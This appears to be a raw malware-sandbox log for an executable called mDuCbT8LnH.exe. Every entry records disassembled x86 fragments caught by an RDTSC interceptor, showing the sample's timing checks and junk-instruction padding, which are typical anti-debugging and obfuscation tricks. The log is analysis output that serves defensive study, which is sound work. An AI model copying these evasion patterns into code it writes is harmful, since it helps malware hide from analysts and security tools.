Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B8A1 second address: 514E45 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FFAF8C4A842h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FFAF8C4A840h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FFAF8C4A838h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c or ecx, dword ptr [ebp+122D1A3Ah] 0x00000032 js 00007FFAF8C4A83Dh 0x00000038 jl 00007FFAF8C4A837h 0x0000003e cld 0x0000003f call dword ptr [ebp+122D19BDh] 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56E6CD second address: 56E6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56E6D3 second address: 56E6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FFAF8C4A836h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56E6E1 second address: 56E6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FFAF9027246h 0x0000000d jc 00007FFAF9027246h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56E866 second address: 56E886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FFAF8C4A846h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56E9EA second address: 56E9FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EB89 second address: 56EB8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EB8D second address: 56EBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FFAF9027246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FFAF902724Ch 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FFAF9027246h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBB0 second address: 56EBBA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFAF8C4A836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBBA second address: 56EBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBC0 second address: 56EBC5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBC5 second address: 56EBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFAF902724Fh 0x0000000c jmp 00007FFAF9027251h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBEC second address: 56EBF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EBF0 second address: 56EBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EFAF second address: 56EFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EFBA second address: 56EFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EFBE second address: 56EFC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EFC4 second address: 56EFD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Fh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56EFD8 second address: 56F009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FFAF8C4A836h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 jne 00007FFAF8C4A836h 0x0000001a popad 0x0000001b jmp 00007FFAF8C4A846h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56F128 second address: 56F13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAF902724Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56F13D second address: 56F141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 56F141 second address: 56F14E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57523A second address: 575258 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Ah 0x00000007 jng 00007FFAF8C4A836h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FFAF8C4A836h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575258 second address: 57526A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57526A second address: 575274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5753E2 second address: 5753E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5753E6 second address: 5753EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57583F second address: 575854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Bh 0x00000007 jbe 00007FFAF9027252h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575854 second address: 57585A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57585A second address: 575871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAF902724Ch 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575871 second address: 575876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 5759DA second address: 575A17 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFAF9027246h 0x00000008 jmp 00007FFAF9027256h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFAF902724Bh 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575A17 second address: 575A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFAF8C4A843h 0x0000000e je 00007FFAF8C4A842h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575CFC second address: 575D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007FFAF902724Ah 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575D1A second address: 575D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575E77 second address: 575E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575E7D second address: 575E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575E83 second address: 575EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF9027258h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 jnl 00007FFAF902726Bh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 575EB2 second address: 575EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A83Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57600C second address: 576022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF9027251h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576022 second address: 57603B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF8C4A845h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57603B second address: 57606B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAF9027246h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007FFAF9027246h 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007FFAF902724Dh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007FFAF9027246h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57606B second address: 576071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576071 second address: 57607A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576363 second address: 576367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576759 second address: 576766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FFAF9027246h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576766 second address: 57676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57676E second address: 57678C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAF9027256h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57678C second address: 576794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 576794 second address: 57679E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAF9027246h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 574FB2 second address: 574FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FFAF8C4A845h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57A108 second address: 57A10E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CAB2 second address: 57CAFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAF8C4A83Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push esi 0x0000000c jmp 00007FFAF8C4A848h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FFAF8C4A846h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CAFD second address: 57CB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007FFAF9027246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CB0D second address: 57CB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CB11 second address: 57CB1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007FFAF9027246h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CC4B second address: 57CC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CC51 second address: 57CC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 57CC56 second address: 57CC5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 584452 second address: 584458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58B25F second address: 58B285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A842h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FFAF8C4A83Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 589B0A second address: 589B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FFAF9027246h 0x0000000a pop ecx 0x0000000b push edx 0x0000000c jl 00007FFAF9027246h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 589B1E second address: 589B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 589C67 second address: 589C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 589C6B second address: 589C7F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAF8C4A836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FFAF8C4A836h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 589C7F second address: 589C8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FFAF9027246h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B257 second address: 52B26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAF8C4A843h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 52B26E second address: 52B2A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D36C2h] 0x00000015 push 00000004h 0x00000017 sbb ecx, 364BB582h 0x0000001d nop 0x0000001e push esi 0x0000001f push eax 0x00000020 jbe 00007FFAF9027246h 0x00000026 pop eax 0x00000027 pop esi 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jno 00007FFAF902724Ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58A393 second address: 58A39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58A39A second address: 58A3A4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFAF902724Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F343 second address: 58F358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAF8C4A841h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F358 second address: 58F35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F35C second address: 58F362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F362 second address: 58F388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FFAF9027258h 0x0000000c jng 00007FFAF9027246h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F388 second address: 58F3B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Dh 0x00000007 jmp 00007FFAF8C4A83Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnl 00007FFAF8C4A83Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58F3B8 second address: 58F3C6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFAF9027246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58E612 second address: 58E616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58E781 second address: 58E785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58E785 second address: 58E79A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF8C4A83Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58EA3C second address: 58EA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58EA40 second address: 58EA7C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FFAF8C4A841h 0x0000000c js 00007FFAF8C4A838h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 jng 00007FFAF8C4A86Eh 0x0000001b push eax 0x0000001c jmp 00007FFAF8C4A843h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58EA7C second address: 58EA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FFAF9027246h 0x0000000d jng 00007FFAF9027246h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 58EBDB second address: 58EBE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 595814 second address: 59581A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59581A second address: 59581E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 595AEF second address: 595AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59612D second address: 59614C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FFAF8C4A843h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	RDTSC instruction interceptor: First address: 59614C second address: 596184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAF902724Fh 0x00000007 jmp 00007FFAF9027258h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FFAF902724Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
